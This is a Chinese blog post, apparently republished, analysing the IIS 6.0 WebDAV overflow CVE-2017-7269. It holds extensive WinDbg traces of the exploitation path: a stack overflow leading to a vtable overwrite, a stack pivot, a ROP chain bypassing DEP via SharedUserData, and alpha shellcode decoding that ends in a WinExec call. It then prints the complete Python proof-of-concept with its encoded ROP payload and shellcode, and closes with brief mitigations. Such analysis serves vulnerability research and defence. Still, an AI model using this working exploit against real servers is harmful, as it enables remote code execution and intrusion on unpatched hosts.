在PoC中,有一处,这个会触发漏洞利用,是在CheckIfHeader之后到达位置,在CheckIfHeader的PszToken函数判断没有<>的http url之后,break掉,之后进入lock token处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:009>p
eax=67140d15ebx=00fffbe8ecx=680313c0edx=0060e7b0esi=00fffc28edi=00000104
eip=67126c80esp=00fff940ebp=00fff950iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
httpext!ScStoragePathFromUrl+0x5:
67126c80e803100000callhttpext!_EH_prolog(67127c88)
0:009>kb
ChildEBPRetAddrArgstoChild
00fff93c6711946900fffab400fff9a400000000httpext!ScStoragePathFromUrl+0x5
00fff950671257400060e7b000fffab400fff9a4httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffbd0664d4150680313c0653148346e666f43httpext!CParseLockTokenHeader::HrGetLockIdForPath
+0x119
WARNING:FrameIPnotinanyknownmodule.Followingframesmaybewrong.
00fffc3c6711f68e0060b5080060584e800000000x664d4150
00fffc786711f7c50060c01000fffcd4671404e2httpext!CPropFindRequest::Execute+0x125

这时候对应的IEcb已经被覆盖,这样,在进入ScStoragePathFromUrl函数之后,会进入我们在漏洞分析部分提到的CheckPrefixUrl函数,这个函数中有大量的IEcb虚表虚函数引用。

1
2
3
4
5
6
7
8
9
0:009>p
eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3ff5024calldwordptr[eax+24h]ds:0023:680313e4=68016082
0:009>dceax
680313c0680313c068006e4f68006e4f766a4247...hOn.hOn.hGBjv
680313d0680313c04f744257523459474b424b66...hWBtOGY4RfKBK

和大家分享了这个精妙利用,一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用,实际上,在第一次url aaaaaa中,就已经引发了栈溢出,覆盖到了stackbuffer申请的指向栈buffer的指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个变量导致第二次url bbbbb拷贝的时候,是向一个堆地址拷贝,这个堆地址后面的偏移中,存放着IEcb的vftable,通过覆盖虚表虚函数,在最后locktoken触发的ScStoragePathFromUrl中利用虚函数达到代码执行。

而这个过程,也是巧妙的绕过了GS的检查。

简析ROP及shellcode


这个漏洞使用了一些非常有意思的手法,一个是TK教主在13年安全会议上提到的shareduserdata,在ROP中,另一个是alpha shellcode。

首先,在前面虚函数执行之后,会先进行stack pivot,随后进入rop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
0:009>t//stackpivot!!!
eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=68016082esp=00fff4b0ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!_alloca_probe+0x42:
680160828be1movesp,ecx
0:009>p
eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=68016084esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!_alloca_probe+0x44:
680160848b08movecx,dwordptr[eax]ds:0023:680313c0=680313c0
0:009>p
eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=68016086esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!_alloca_probe+0x46:
680160868b4004moveax,dwordptr[eax+4]ds:0023:680313c4=68006e4f
0:009>p
eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=68016089esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!_alloca_probe+0x49:
6801608950pusheax
0:009>p//ROPChain
eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=6801608aesp=680313bcebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!_alloca_probe+0x4a:
6801608ac3ret
0:009>p
eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=68006e4fesp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f5epopesi
0:009>p
eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0
eip=68006e50esp=680313c4ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e505dpopebp
0:009>p
eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0
eip=68006e51esp=680313c8ebp=68006e4fiopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51c22000ret20h
0:009>p
eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0
eip=68006e4fesp=680313ecebp=68006e4fiopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f5epopesi

经过一系列ROP之后,会进入KiFastSystemCall,这是利用SharedUserData bypass DEP的一环。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:009>p
eax=0000008febx=7ffe0300ecx=680313c0edx=00fff4f8esi=68031460edi=680124e3
eip=680124e3esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3ff23jmpdwordptr[ebx]ds:0023:7ffe0300={ntdll!KiFastSystemCall(7c8285e8)}
0:009>p
eax=0000008febx=7ffe0300ecx=680313c0edx=00fff4f8esi=68031460edi=680124e3
eip=7c8285e8esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
ntdll!KiFastSystemCall:
7c8285e88bd4movedx,esp
0:009>p
eax=0000008febx=7ffe0300ecx=680313c0edx=68031400esi=68031460edi=680124e3
eip=7c8285eaesp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea0f34sysenter
0:009>p
eax=00000000ebx=7ffe0300ecx=00000001edx=ffffffffesi=68031460edi=680124e3
eip=68031460esp=68031404ebp=6e6f3176iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!g_pfnFree+0x1a4:
6803146056pushesi
0:009>dc68031460
6803146000560056004100590034003400340034V.V.Y.A.4.4.4.4.
68031470003400340034003400340034004100514.4.4.4.4.4.Q.A.

之后进入alpha shellcode,这时候68031460作为shareduserdata,已经具备可执行权限。

1
2
3
4
5
6
7
8
9
FailedtomapHeaps(error80004005)
Usage:Image
AllocationBase:68000000
BaseAddress:68031000
EndAddress:68032000
RegionSize:00001000
Type:01000000MEM_IMAGE
State:00001000MEM_COMMIT
Protect:00000040PAGE_EXECUTE_READWRITE有了可执行权限

这里由于url存入内存按照宽字节存放,因此都是以00 xx方式存放,因此不能单纯使用shellcode,而得用alpha shellcode(结尾基友用了另一种方法执行shellcode,大家可以看下),alpha shellcode会先执行一段操作。随后进入解密部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
0:009>p
eax=059003d9ebx=7ffe0300ecx=68031585edx=68031568esi=68031460edi=680124e3
eip=6803154eesp=68031400ebp=6e6f3176iopl=0nvupeingnzacponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000292
rsaenh!g_pfnFree+0x292:
6803154e41incecx
0:009>p
eax=059003d9ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3
eip=6803154fesp=68031400ebp=6e6f3176iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
rsaenh!g_pfnFree+0x293:
6803154f004200addbyteptr[edx],alds:0023:68031568=e3
0:009>p
eax=059003d9ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3
eip=68031552esp=68031400ebp=6e6f3176iopl=0nvupeingnznapocy
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000283
rsaenh!g_pfnFree+0x296:
680315526b0110imuleax,dwordptr[ecx],10hds:0023:68031586=00540032
0:009>p
eax=05400320ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3
eip=68031555esp=68031400ebp=6e6f3176iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
rsaenh!g_pfnFree+0x299:
68031555024102addal,byteptr[ecx+2]ds:0023:68031588=54
0:009>p
eax=05400374ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3
eip=68031558esp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
rsaenh!g_pfnFree+0x29c:
680315588802movbyteptr[edx],alds:0023:68031568=bc
0:009>p
eax=05400374ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3
eip=6803155aesp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
rsaenh!g_pfnFree+0x29e:
6803155a42incedx
0:009>p
eax=05400374ebx=7ffe0300ecx=68031586edx=68031569esi=68031460edi=680124e3
eip=6803155besp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
rsaenh!g_pfnFree+0x29f:
6803155b803941cmpbyteptr[ecx],41hds:0023:68031586=32
0:009>p
eax=05400374ebx=7ffe0300ecx=68031586edx=68031569esi=68031460edi=680124e3
eip=6803155eesp=68031400ebp=6e6f3176iopl=0nvupeingnznapocy
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000283
rsaenh!g_pfnFree+0x2a2:
6803155e75e2jnersaenh!g_pfnFree+0x286(68031542)[br=1]
0:009>dd68031580
680315800038005900320059004d0054004a0054
68031590003100540030004d0037003100360059
680315a0003000510030003100300031004c0045
680315b0004b005300300053004c004500330053

可以看到,解密前,alpha shellcod部分,随后解密结束之后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:009>p
eax=04d0035debx=7ffe0300ecx=68031592edx=6803156cesi=68031460edi=680124e3
eip=6803155eesp=68031400ebp=6e6f3176iopl=0nvupeingnznapecy
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000287
rsaenh!g_pfnFree+0x2a2:
6803155e75e2jnersaenh!g_pfnFree+0x286(68031542)[br=1]
0:009>bp68031560
0:009>g
Breakpoint2hit
eax=00000410ebx=7ffe0300ecx=680318daedx=6803163eesi=68031460edi=680124e3
eip=68031560esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
rsaenh!g_pfnFree+0x2a4:
68031560b8b726bfcamoveax,0CABF26B7h
0:009>dd68031580
68031580223cec9b265a2caa6a289c9c9f7c5610
6803159090a91aa39f8f9004beec89956120d015
680315a060351b2430b44661a56b0c3a4eb0584f
680315b0b3b04c0365916fd3873136689f7842bd
680315c014326fa2fcc51b10c16ae46905721746
680315d07f01c860441275935f97a1ee840f2148
680315e04fd6e669089c436523715269e474df95

shellcode已经被解密出来,随后会调用winexec,执行calc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:009>p
eax=77ea411eebx=7ffe0300ecx=68031614edx=876f8b31esi=68031460edi=680124e3
eip=680315f9esp=680313fcebp=68031581iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
rsaenh!g_pfnFree+0x33d:
680315f951pushecx
0:009>p
eax=77ea411eebx=7ffe0300ecx=68031614edx=876f8b31esi=68031460edi=680124e3
eip=680315faesp=680313f8ebp=68031581iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
rsaenh!g_pfnFree+0x33e:
680315faffe0jmpeax{kernel32!WinExec(77ea411e)}
0:009>ddesp
680313f868031614680316330000000100000000
0:009>dc68031633l2
68031633636c61636578652ecalc.exe

第二个参数是0x1,是SW_SHOWNORMAL,但由于服务无窗口,因此calc无法弹出。

http://p0.qhimg.com/t01d0fd054a3789d53a.png

其实,这个过程可以替换成其他的shellcode,相关的shellcode替换链接可以看我的好基友LCatro的几篇文章,都非常不错。

https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

最后我想说,我在深圳,刚才和几个平时网上的好朋友吃夜宵,聊到这个漏洞,没想到在几个小时前认识的彭博士,就是这个漏洞的作者!真的没有想到,还好自己分析的这套思路和这个漏洞作者的思路相差无几,不然就被打脸了。真的很有缘!一下学到了好多。

这篇最后还是没有按时发出,不过希望能和大家一起学习!谢谢阅读!

PoC(来源网络https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#------------OurpayloadsetupaROPchainbyusingtheoverflow3times.Itwilllaunchacalc.exewhichshowsthebugisreallydangerous.
#writtenbyZhiniangPengandChenWu.InformationSecurityLab&SchoolofComputerScience&Engineering,SouthChinaUniversityofTechnologyGuangzhou,China
#-----------Email:[email protected]
importsocket
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',80))
pay='PROPFIND/HTTP/1.1\r\nHost:localhost\r\nContent-Length:0\r\n'
pay+='If:<http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+='(Not<locktoken:write1>)<http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+=shellcode
pay+='>\r\n\r\n'
printpay
sock.send(pay)
data=sock.recv(80960)
printdata
sock.close

验证截图

http://p1.qhimg.com/t01f35d99884770476a.png

临时解决办法


1.关闭WebDAV服务

2.使用相关防护设备

参考


https://github.com/edwardz246003/IIS_exploit/


本文由 安全客 原创发布

声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。